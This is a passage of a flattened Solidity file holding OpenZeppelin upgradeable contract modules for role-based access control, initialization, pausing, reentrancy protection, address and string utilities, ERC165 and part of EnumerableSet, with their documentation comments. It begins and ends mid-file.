import "../proxy/utils/Initializable.sol";
/**
* @dev Extension of {AccessControl} that allows enumerating the members of each role.
*/
abstract contract AccessControlEnumerableUpgradeable is Initializable, IAccessControlEnumerableUpgradeable, AccessControlUpgradeable {
function __AccessControlEnumerable_init() internal onlyInitializing {
}
function __AccessControlEnumerable_init_unchained() internal onlyInitializing {
}
using EnumerableSetUpgradeable for EnumerableSetUpgradeable.AddressSet;
mapping(bytes32 => EnumerableSetUpgradeable.AddressSet) private _roleMembers;
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return interfaceId == type(IAccessControlEnumerableUpgradeable).interfaceId || super.supportsInterface(interfaceId);
}
/**
* @dev Returns one of the accounts that have `role`. `index` must be a
* value between 0 and {getRoleMemberCount}, non-inclusive.
*
* Role bearers are not sorted in any particular way, and their ordering may
* change at any point.
*
* WARNING: When using {getRoleMember} and {getRoleMemberCount}, make sure
* you perform all queries on the same block. See the following
* https://forum.openzeppelin.com/t/iterating-over-elements-on-enumerableset-in-openzeppelin-contracts/2296[forum post]
* for more information.
*/
function getRoleMember(bytes32 role, uint256 index) public view virtual override returns (address) {
return _roleMembers[role].at(index);
}
/**
* @dev Returns the number of accounts that have `role`. Can be used
* together with {getRoleMember} to enumerate all bearers of a role.
*/
function getRoleMemberCount(bytes32 role) public view virtual override returns (uint256) {
return _roleMembers[role].length();
}
/**
* @dev Overload {_grantRole} to track enumerable memberships
*/
function _grantRole(bytes32 role, address account) internal virtual override {
super._grantRole(role, account);
_roleMembers[role].add(account);
}
/**
* @dev Overload {_revokeRole} to track enumerable memberships
*/
function _revokeRole(bytes32 role, address account) internal virtual override {
super._revokeRole(role, account);
_roleMembers[role].remove(account);
}
/**
* @dev This empty reserved space is put in place to allow future versions to add new
* variables without shifting down storage in the inheritance chain.
* See https://docs.openzeppelin.com/contracts/4.x/upgradeable#storage_gaps
*/
uint256[49] private __gap;
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v4.5.0) (access/AccessControl.sol)
pragma solidity ^0.8.0;
import "./IAccessControlUpgradeable.sol";
import "../utils/ContextUpgradeable.sol";
import "../utils/StringsUpgradeable.sol";
import "../utils/introspection/ERC165Upgradeable.sol";
import "../proxy/utils/Initializable.sol";
/**
* @dev Contract module that allows children to implement role-based access
* control mechanisms. This is a lightweight version that doesn't allow enumerating role
* members except through off-chain means by accessing the contract event logs. Some
* applications may benefit from on-chain enumerability, for those cases see
* {AccessControlEnumerable}.
*
* Roles are referred to by their `bytes32` identifier. These should be exposed
* in the external API and be unique. The best way to achieve this is by
* using `public constant` hash digests:
*
* ```
* bytes32 public constant MY_ROLE = keccak256("MY_ROLE");
* ```
*
* Roles can be used to represent a set of permissions. To restrict access to a
* function call, use {hasRole}:
*
* ```
* function foo() public {
* require(hasRole(MY_ROLE, msg.sender));
* ...
* }
* ```
*
* Roles can be granted and revoked dynamically via the {grantRole} and
* {revokeRole} functions. Each role has an associated admin role, and only
* accounts that have a role's admin role can call {grantRole} and {revokeRole}.
*
* By default, the admin role for all roles is `DEFAULT_ADMIN_ROLE`, which means
* that only accounts with this role will be able to grant or revoke other
* roles. More complex role relationships can be created by using
* {_setRoleAdmin}.
*
* WARNING: The `DEFAULT_ADMIN_ROLE` is also its own admin: it has permission to
* grant and revoke this role. Extra precautions should be taken to secure
* accounts that have been granted it.
*/
abstract contract AccessControlUpgradeable is Initializable, ContextUpgradeable, IAccessControlUpgradeable, ERC165Upgradeable {
function __AccessControl_init() internal onlyInitializing {
}
function __AccessControl_init_unchained() internal onlyInitializing {
}
struct RoleData {
mapping(address => bool) members;
bytes32 adminRole;
}
mapping(bytes32 => RoleData) private _roles;
bytes32 public constant DEFAULT_ADMIN_ROLE = 0x00;
/**
* @dev Modifier that checks that an account has a specific role. Reverts
* with a standardized message including the required role.
*
* The format of the revert reason is given by the following regular expression:
*
* /^AccessControl: account (0x[0-9a-f]{40}) is missing role (0x[0-9a-f]{64})$/
*
* _Available since v4.1._
*/
modifier onlyRole(bytes32 role) {
_checkRole(role, _msgSender());
_;
}
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return interfaceId == type(IAccessControlUpgradeable).interfaceId || super.supportsInterface(interfaceId);
}
/**
* @dev Returns `true` if `account` has been granted `role`.
*/
function hasRole(bytes32 role, address account) public view virtual override returns (bool) {
return _roles[role].members[account];
}
/**
* @dev Revert with a standard message if `account` is missing `role`.
*
* The format of the revert reason is given by the following regular expression:
*
* /^AccessControl: account (0x[0-9a-f]{40}) is missing role (0x[0-9a-f]{64})$/
*/
function _checkRole(bytes32 role, address account) internal view virtual {
if (!hasRole(role, account)) {
revert(
string(
abi.encodePacked(
"AccessControl: account ",
StringsUpgradeable.toHexString(uint160(account), 20),
" is missing role ",
StringsUpgradeable.toHexString(uint256(role), 32)
)
)
);
}
}
/**
* @dev Returns the admin role that controls `role`. See {grantRole} and
* {revokeRole}.
*
* To change a role's admin, use {_setRoleAdmin}.
*/
function getRoleAdmin(bytes32 role) public view virtual override returns (bytes32) {
return _roles[role].adminRole;
}
/**
* @dev Grants `role` to `account`.
*
* If `account` had not been already granted `role`, emits a {RoleGranted}
* event.
*
* Requirements:
*
* - the caller must have ``role``'s admin role.
*/
function grantRole(bytes32 role, address account) public virtual override onlyRole(getRoleAdmin(role)) {
_grantRole(role, account);
}
/**
* @dev Revokes `role` from `account`.
*
* If `account` had been granted `role`, emits a {RoleRevoked} event.
*
* Requirements:
*
* - the caller must have ``role``'s admin role.
*/
function revokeRole(bytes32 role, address account) public virtual override onlyRole(getRoleAdmin(role)) {
_revokeRole(role, account);
}
/**
* @dev Revokes `role` from the calling account.
*
* Roles are often managed via {grantRole} and {revokeRole}: this function's
* purpose is to provide a mechanism for accounts to lose their privileges
* if they are compromised (such as when a trusted device is misplaced).
*
* If the calling account had been revoked `role`, emits a {RoleRevoked}
* event.
*
* Requirements:
*
* - the caller must be `account`.
*/
function renounceRole(bytes32 role, address account) public virtual override {
require(account == _msgSender(), "AccessControl: can only renounce roles for self");
_revokeRole(role, account);
}
/**
* @dev Grants `role` to `account`.
*
* If `account` had not been already granted `role`, emits a {RoleGranted}
* event. Note that unlike {grantRole}, this function doesn't perform any
* checks on the calling account.
*
* [WARNING]
* ====
* This function should only be called from the constructor when setting
* up the initial roles for the system.
*
* Using this function in any other way is effectively circumventing the admin
* system imposed by {AccessControl}.
* ====
*
* NOTE: This function is deprecated in favor of {_grantRole}.
*/
function _setupRole(bytes32 role, address account) internal virtual {
_grantRole(role, account);
}
/**
* @dev Sets `adminRole` as ``role``'s admin role.
*
* Emits a {RoleAdminChanged} event.
*/
function _setRoleAdmin(bytes32 role, bytes32 adminRole) internal virtual {
bytes32 previousAdminRole = getRoleAdmin(role);
_roles[role].adminRole = adminRole;
emit RoleAdminChanged(role, previousAdminRole, adminRole);
}
/**
* @dev Grants `role` to `account`.
*
* Internal function without access restriction.
*/
function _grantRole(bytes32 role, address account) internal virtual {
if (!hasRole(role, account)) {
_roles[role].members[account] = true;
emit RoleGranted(role, account, _msgSender());
}
}
/**
* @dev Revokes `role` from `account`.
*
* Internal function without access restriction.
*/
function _revokeRole(bytes32 role, address account) internal virtual {
if (hasRole(role, account)) {
_roles[role].members[account] = false;
emit RoleRevoked(role, account, _msgSender());
}
}
/**
* @dev This empty reserved space is put in place to allow future versions to add new
* variables without shifting down storage in the inheritance chain.
* See https://docs.openzeppelin.com/contracts/4.x/upgradeable#storage_gaps
*/
uint256[49] private __gap;
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (access/IAccessControlEnumerable.sol)
pragma solidity ^0.8.0;
import "./IAccessControlUpgradeable.sol";
/**
* @dev External interface of AccessControlEnumerable declared to support ERC165 detection.
*/
interface IAccessControlEnumerableUpgradeable is IAccessControlUpgradeable {
/**
* @dev Returns one of the accounts that have `role`. `index` must be a
* value between 0 and {getRoleMemberCount}, non-inclusive.
*
* Role bearers are not sorted in any particular way, and their ordering may
* change at any point.
*
* WARNING: When using {getRoleMember} and {getRoleMemberCount}, make sure
* you perform all queries on the same block. See the following
* https://forum.openzeppelin.com/t/iterating-over-elements-on-enumerableset-in-openzeppelin-contracts/2296[forum post]
* for more information.
*/
function getRoleMember(bytes32 role, uint256 index) external view returns (address);
/**
* @dev Returns the number of accounts that have `role`. Can be used
* together with {getRoleMember} to enumerate all bearers of a role.
*/
function getRoleMemberCount(bytes32 role) external view returns (uint256);
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (access/IAccessControl.sol)
pragma solidity ^0.8.0;
/**
* @dev External interface of AccessControl declared to support ERC165 detection.
*/
interface IAccessControlUpgradeable {
/**
* @dev Emitted when `newAdminRole` is set as ``role``'s admin role, replacing `previousAdminRole`
*
* `DEFAULT_ADMIN_ROLE` is the starting admin for all roles, despite
* {RoleAdminChanged} not being emitted signaling this.
*
* _Available since v3.1._
*/
event RoleAdminChanged(bytes32 indexed role, bytes32 indexed previousAdminRole, bytes32 indexed newAdminRole);
/**
* @dev Emitted when `account` is granted `role`.
*
* `sender` is the account that originated the contract call, an admin role
* bearer except when using {AccessControl-_setupRole}.
*/
event RoleGranted(bytes32 indexed role, address indexed account, address indexed sender);
/**
* @dev Emitted when `account` is revoked `role`.
*
* `sender` is the account that originated the contract call:
* - if using `revokeRole`, it is the admin role bearer
* - if using `renounceRole`, it is the role bearer (i.e. `account`)
*/
event RoleRevoked(bytes32 indexed role, address indexed account, address indexed sender);
/**
* @dev Returns `true` if `account` has been granted `role`.
*/
function hasRole(bytes32 role, address account) external view returns (bool);
/**
* @dev Returns the admin role that controls `role`. See {grantRole} and
* {revokeRole}.
*
* To change a role's admin, use {AccessControl-_setRoleAdmin}.
*/
function getRoleAdmin(bytes32 role) external view returns (bytes32);
/**
* @dev Grants `role` to `account`.
*
* If `account` had not been already granted `role`, emits a {RoleGranted}
* event.
*
* Requirements:
*
* - the caller must have ``role``'s admin role.
*/
function grantRole(bytes32 role, address account) external;
/**
* @dev Revokes `role` from `account`.
*
* If `account` had been granted `role`, emits a {RoleRevoked} event.
*
* Requirements:
*
* - the caller must have ``role``'s admin role.
*/
function revokeRole(bytes32 role, address account) external;
/**
* @dev Revokes `role` from the calling account.
*
* Roles are often managed via {grantRole} and {revokeRole}: this function's
* purpose is to provide a mechanism for accounts to lose their privileges
* if they are compromised (such as when a trusted device is misplaced).
*
* If the calling account had been granted `role`, emits a {RoleRevoked}
* event.
*
* Requirements:
*
* - the caller must be `account`.
*/
function renounceRole(bytes32 role, address account) external;
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v4.5.0) (proxy/utils/Initializable.sol)
pragma solidity ^0.8.0;
import "../../utils/AddressUpgradeable.sol";
/**
* @dev This is a base contract to aid in writing upgradeable contracts, or any kind of contract that will be deployed
* behind a proxy. Since proxied contracts do not make use of a constructor, it's common to move constructor logic to an
* external initializer function, usually called `initialize`. It then becomes necessary to protect this initializer
* function so it can only be called once. The {initializer} modifier provided by this contract will have this effect.
*
* TIP: To avoid leaving the proxy in an uninitialized state, the initializer function should be called as early as
* possible by providing the encoded function call as the `_data` argument to {ERC1967Proxy-constructor}.
*
* CAUTION: When used with inheritance, manual care must be taken to not invoke a parent initializer twice, or to ensure
* that all initializers are idempotent. This is not verified automatically as constructors are by Solidity.
*
* [CAUTION]
* ====
* Avoid leaving a contract uninitialized.
*
* An uninitialized contract can be taken over by an attacker. This applies to both a proxy and its implementation
* contract, which may impact the proxy. To initialize the implementation contract, you can either invoke the
* initializer manually, or you can include a constructor to automatically mark it as initialized when it is deployed:
*
* [.hljs-theme-light.nopadding]
* ```
* /// @custom:oz-upgrades-unsafe-allow constructor
* constructor() initializer {}
* ```
* ====
*/
abstract contract Initializable {
/**
* @dev Indicates that the contract has been initialized.
*/
bool private _initialized;
/**
* @dev Indicates that the contract is in the process of being initialized.
*/
bool private _initializing;
/**
* @dev Modifier to protect an initializer function from being invoked twice.
*/
modifier initializer() {
// If the contract is initializing we ignore whether _initialized is set in order to support multiple
// inheritance patterns, but we only do this in the context of a constructor, because in other contexts the
// contract may have been reentered.
require(_initializing ? _isConstructor() : !_initialized, "Initializable: contract is already initialized");
bool isTopLevelCall = !_initializing;
if (isTopLevelCall) {
_initializing = true;
_initialized = true;
}
_;
if (isTopLevelCall) {
_initializing = false;
}
}
/**
* @dev Modifier to protect an initialization function so that it can only be invoked by functions with the
* {initializer} modifier, directly or indirectly.
*/
modifier onlyInitializing() {
require(_initializing, "Initializable: contract is not initializing");
_;
}
function _isConstructor() private view returns (bool) {
return !AddressUpgradeable.isContract(address(this));
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (security/Pausable.sol)
pragma solidity ^0.8.0;
import "../utils/ContextUpgradeable.sol";
import "../proxy/utils/Initializable.sol";
/**
* @dev Contract module which allows children to implement an emergency stop
* mechanism that can be triggered by an authorized account.
*
* This module is used through inheritance. It will make available the
* modifiers `whenNotPaused` and `whenPaused`, which can be applied to
* the functions of your contract. Note that they will not be pausable by
* simply including this module, only once the modifiers are put in place.
*/
abstract contract PausableUpgradeable is Initializable, ContextUpgradeable {
/**
* @dev Emitted when the pause is triggered by `account`.
*/
event Paused(address account);
/**
* @dev Emitted when the pause is lifted by `account`.
*/
event Unpaused(address account);
bool private _paused;
/**
* @dev Initializes the contract in unpaused state.
*/
function __Pausable_init() internal onlyInitializing {
__Pausable_init_unchained();
}
function __Pausable_init_unchained() internal onlyInitializing {
_paused = false;
}
/**
* @dev Returns true if the contract is paused, and false otherwise.
*/
function paused() public view virtual returns (bool) {
return _paused;
}
/**
* @dev Modifier to make a function callable only when the contract is not paused.
*
* Requirements:
*
* - The contract must not be paused.
*/
modifier whenNotPaused() {
require(!paused(), "Pausable: paused");
_;
}
/**
* @dev Modifier to make a function callable only when the contract is paused.
*
* Requirements:
*
* - The contract must be paused.
*/
modifier whenPaused() {
require(paused(), "Pausable: not paused");
_;
}
/**
* @dev Triggers stopped state.
*
* Requirements:
*
* - The contract must not be paused.
*/
function _pause() internal virtual whenNotPaused {
_paused = true;
emit Paused(_msgSender());
}
/**
* @dev Returns to normal state.
*
* Requirements:
*
* - The contract must be paused.
*/
function _unpause() internal virtual whenPaused {
_paused = false;
emit Unpaused(_msgSender());
}
/**
* @dev This empty reserved space is put in place to allow future versions to add new
* variables without shifting down storage in the inheritance chain.
* See https://docs.openzeppelin.com/contracts/4.x/upgradeable#storage_gaps
*/
uint256[49] private __gap;
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (security/ReentrancyGuard.sol)
pragma solidity ^0.8.0;
import "../proxy/utils/Initializable.sol";
/**
* @dev Contract module that helps prevent reentrant calls to a function.
*
* Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier
* available, which can be applied to functions to make sure there are no nested
* (reentrant) calls to them.
*
* Note that because there is a single `nonReentrant` guard, functions marked as
* `nonReentrant` may not call one another. This can be worked around by making
* those functions `private`, and then adding `external` `nonReentrant` entry
* points to them.
*
* TIP: If you would like to learn more about reentrancy and alternative ways
* to protect against it, check out our blog post
* https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul].
*/
abstract contract ReentrancyGuardUpgradeable is Initializable {
// Booleans are more expensive than uint256 or any type that takes up a full
// word because each write operation emits an extra SLOAD to first read the
// slot's contents, replace the bits taken up by the boolean, and then write
// back. This is the compiler's defense against contract upgrades and
// pointer aliasing, and it cannot be disabled.
// The values being non-zero value makes deployment a bit more expensive,
// but in exchange the refund on every call to nonReentrant will be lower in
// amount. Since refunds are capped to a percentage of the total
// transaction's gas, it is best to keep them low in cases like this one, to
// increase the likelihood of the full refund coming into effect.
uint256 private constant _NOT_ENTERED = 1;
uint256 private constant _ENTERED = 2;
uint256 private _status;
function __ReentrancyGuard_init() internal onlyInitializing {
__ReentrancyGuard_init_unchained();
}
function __ReentrancyGuard_init_unchained() internal onlyInitializing {
_status = _NOT_ENTERED;
}
/**
* @dev Prevents a contract from calling itself, directly or indirectly.
* Calling a `nonReentrant` function from another `nonReentrant`
* function is not supported. It is possible to prevent this from happening
* by making the `nonReentrant` function external, and making it call a
* `private` function that does the actual work.
*/
modifier nonReentrant() {
// On the first call to nonReentrant, _notEntered will be true
require(_status != _ENTERED, "ReentrancyGuard: reentrant call");
// Any calls to nonReentrant after this point will fail
_status = _ENTERED;
_;
// By storing the original value once again, a refund is triggered (see
// https://eips.ethereum.org/EIPS/eip-2200)
_status = _NOT_ENTERED;
}
/**
* @dev This empty reserved space is put in place to allow future versions to add new
* variables without shifting down storage in the inheritance chain.
* See https://docs.openzeppelin.com/contracts/4.x/upgradeable#storage_gaps
*/
uint256[49] private __gap;
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v4.5.0) (utils/Address.sol)
pragma solidity ^0.8.1;
/**
* @dev Collection of functions related to the address type
*/
library AddressUpgradeable {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*
* [IMPORTANT]
* ====
* You shouldn't rely on `isContract` to protect against flash loan attacks!
*
* Preventing calls from contracts is highly discouraged. It breaks composability, breaks support for smart wallets
* like Gnosis Safe, and does not provide security since it can be circumvented by calling from a contract
* constructor.
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize/address.code.length, which returns 0
// for contracts in construction, since the code is only stored at the end
// of the constructor execution.
return account.code.length > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain `call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the
* revert reason using the provided one.
*
* _Available since v4.3._
*/
function verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) internal pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (utils/Context.sol)
pragma solidity ^0.8.0;
import "../proxy/utils/Initializable.sol";
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract ContextUpgradeable is Initializable {
function __Context_init() internal onlyInitializing {
}
function __Context_init_unchained() internal onlyInitializing {
}
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
/**
* @dev This empty reserved space is put in place to allow future versions to add new
* variables without shifting down storage in the inheritance chain.
* See https://docs.openzeppelin.com/contracts/4.x/upgradeable#storage_gaps
*/
uint256[50] private __gap;
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (utils/Strings.sol)
pragma solidity ^0.8.0;
/**
* @dev String operations.
*/
library StringsUpgradeable {
bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef";
/**
* @dev Converts a `uint256` to its ASCII `string` decimal representation.
*/
function toString(uint256 value) internal pure returns (string memory) {
// Inspired by OraclizeAPI's implementation - MIT licence
// https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol
if (value == 0) {
return "0";
}
uint256 temp = value;
uint256 digits;
while (temp != 0) {
digits++;
temp /= 10;
}
bytes memory buffer = new bytes(digits);
while (value != 0) {
digits -= 1;
buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));
value /= 10;
}
return string(buffer);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation.
*/
function toHexString(uint256 value) internal pure returns (string memory) {
if (value == 0) {
return "0x00";
}
uint256 temp = value;
uint256 length = 0;
while (temp != 0) {
length++;
temp >>= 8;
}
return toHexString(value, length);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length.
*/
function toHexString(uint256 value, uint256 length) internal pure returns (string memory) {
bytes memory buffer = new bytes(2 * length + 2);
buffer[0] = "0";
buffer[1] = "x";
for (uint256 i = 2 * length + 1; i > 1; --i) {
buffer[i] = _HEX_SYMBOLS[value & 0xf];
value >>= 4;
}
require(value == 0, "Strings: hex length insufficient");
return string(buffer);
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (utils/introspection/ERC165.sol)
pragma solidity ^0.8.0;
import "./IERC165Upgradeable.sol";
import "../../proxy/utils/Initializable.sol";
/**
* @dev Implementation of the {IERC165} interface.
*
* Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check
* for the additional interface id that will be supported. For example:
*
* ```solidity
* function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
* return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId);
* }
* ```
*
* Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation.
*/
abstract contract ERC165Upgradeable is Initializable, IERC165Upgradeable {
function __ERC165_init() internal onlyInitializing {
}
function __ERC165_init_unchained() internal onlyInitializing {
}
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return interfaceId == type(IERC165Upgradeable).interfaceId;
}
/**
* @dev This empty reserved space is put in place to allow future versions to add new
* variables without shifting down storage in the inheritance chain.
* See https://docs.openzeppelin.com/contracts/4.x/upgradeable#storage_gaps
*/
uint256[50] private __gap;
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (utils/introspection/IERC165.sol)
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC165 standard, as defined in the
* https://eips.ethereum.org/EIPS/eip-165[EIP].
*
* Implementers can declare support of contract interfaces, which can then be
* queried by others ({ERC165Checker}).
*
* For an implementation, see {ERC165}.
*/
interface IERC165Upgradeable {
/**
* @dev Returns true if this contract implements the interface defined by
* `interfaceId`. See the corresponding
* https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
* to learn more about how these ids are created.
*
* This function call must use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (utils/structs/EnumerableSet.sol)
pragma solidity ^0.8.0;
/**
* @dev Library for managing
* https://en.wikipedia.org/wiki/Set_(abstract_data_type)[sets] of primitive
* types.
*
* Sets have the following properties:
*
* - Elements are added, removed, and checked for existence in constant time
* (O(1)).
* - Elements are enumerated in O(n). No guarantees are made on the ordering.
*
* ```
* contract Example {
* // Add the library methods
* using EnumerableSet for EnumerableSet.AddressSet;
*
* // Declare a set state variable
* EnumerableSet.AddressSet private mySet;
* }
* ```
*
* As of v3.3.0, sets of type `bytes32` (`Bytes32Set`), `address` (`AddressSet`)
* and `uint256` (`UintSet`) are supported.
*/
library EnumerableSetUpgradeable {
// To implement this library for multiple types with as little code
// repetition as possible, we write it in terms of a generic Set type with
// bytes32 values.
// The Set implementation uses private functions, and user-facing
// implementations (such as AddressSet) are just wrappers around the
// underlying Set.
// This means that we can only create new EnumerableSets for types that fit
// in bytes32.
struct Set {
// Storage of set values
bytes32[] _values;
// Position of the value in the `values` array, plus 1 because index 0
// means a value is not in the set.
mapping(bytes32 => uint256) _indexes;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function _add(Set storage set, bytes32 value) private returns (bool) {
if (!_contains(set, value)) {
set._values.push(value);
// The value is stored at length-1, but we add 1 to all indexes
// and use 0 as a sentinel value
set._indexes[value] = set._values.length;
return true;
} else {
return false;
}
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function _remove(Set storage set, bytes32 value) private returns (bool) {
// We read and store the value's index to prevent multiple reads from the same storage slot
uint256 valueIndex = set._indexes[value];
if (valueIndex != 0) {
// Equivalent to contains(set, value)
// To delete an element from the _values array in O(1), we swap the element to delete with the last one in
// the array, and then remove the last element (sometimes called as 'swap and pop').
// This modifies the order of the array, as noted in {at}.
uint256 toDeleteIndex = valueIndex - 1;
uint256 lastIndex = set._values.length - 1;
if (lastIndex != toDeleteIndex) {
bytes32 lastvalue = set._values[lastIndex];
// Move the last value to the index where the value to delete is
set._values[toDeleteIndex] = lastvalue;
// Update the index for the moved value
set._indexes[lastvalue] = valueIndex; // Replace lastvalue's index to valueIndex
}
// Delete the slot where the moved value was stored
set._values.pop();
// Delete the index for the deleted slot
delete set._indexes[value];
return true;
} else {
return false;
}
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function _contains(Set storage set, bytes32 value) private view returns (bool) {
return set._indexes[value] != 0;
}
/**
* @dev Returns the number of values on the set. O(1).
*/
function _length(Set storage set) private view returns (uint256) {
return set._values.length;
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function _at(Set storage set, uint256 index) private view returns (bytes32) {
return set._values[index];
}
/**
* @dev Return the entire set in an array
*
* WARNING: This operation will copy the entire storage to memory, which can be quite expensive. This is designed
* to mostly be used by view accessors that are queried without any gas fees. Developers should keep in mind that
* this function has an unbounded cost, and using it as part of a state-changing function may render the function
* uncallable if the set grows to a point where copying to memory consumes too much gas to fit in a block.
*/
function _values(Set storage set) private view returns (bytes32[] memory) {
return set._values;
}
// Bytes32Set
struct Bytes32Set {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(Bytes32Set storage set, bytes32 value) internal returns (bool) {
return _add(set._inner, value);
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(Bytes32Set storage set, bytes32 value) internal returns (bool) {
return _remove(set._inner, value);
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(Bytes32Set storage set, bytes32 value) internal view returns (bool) {
return _contains(set._inner, value);
}
/**
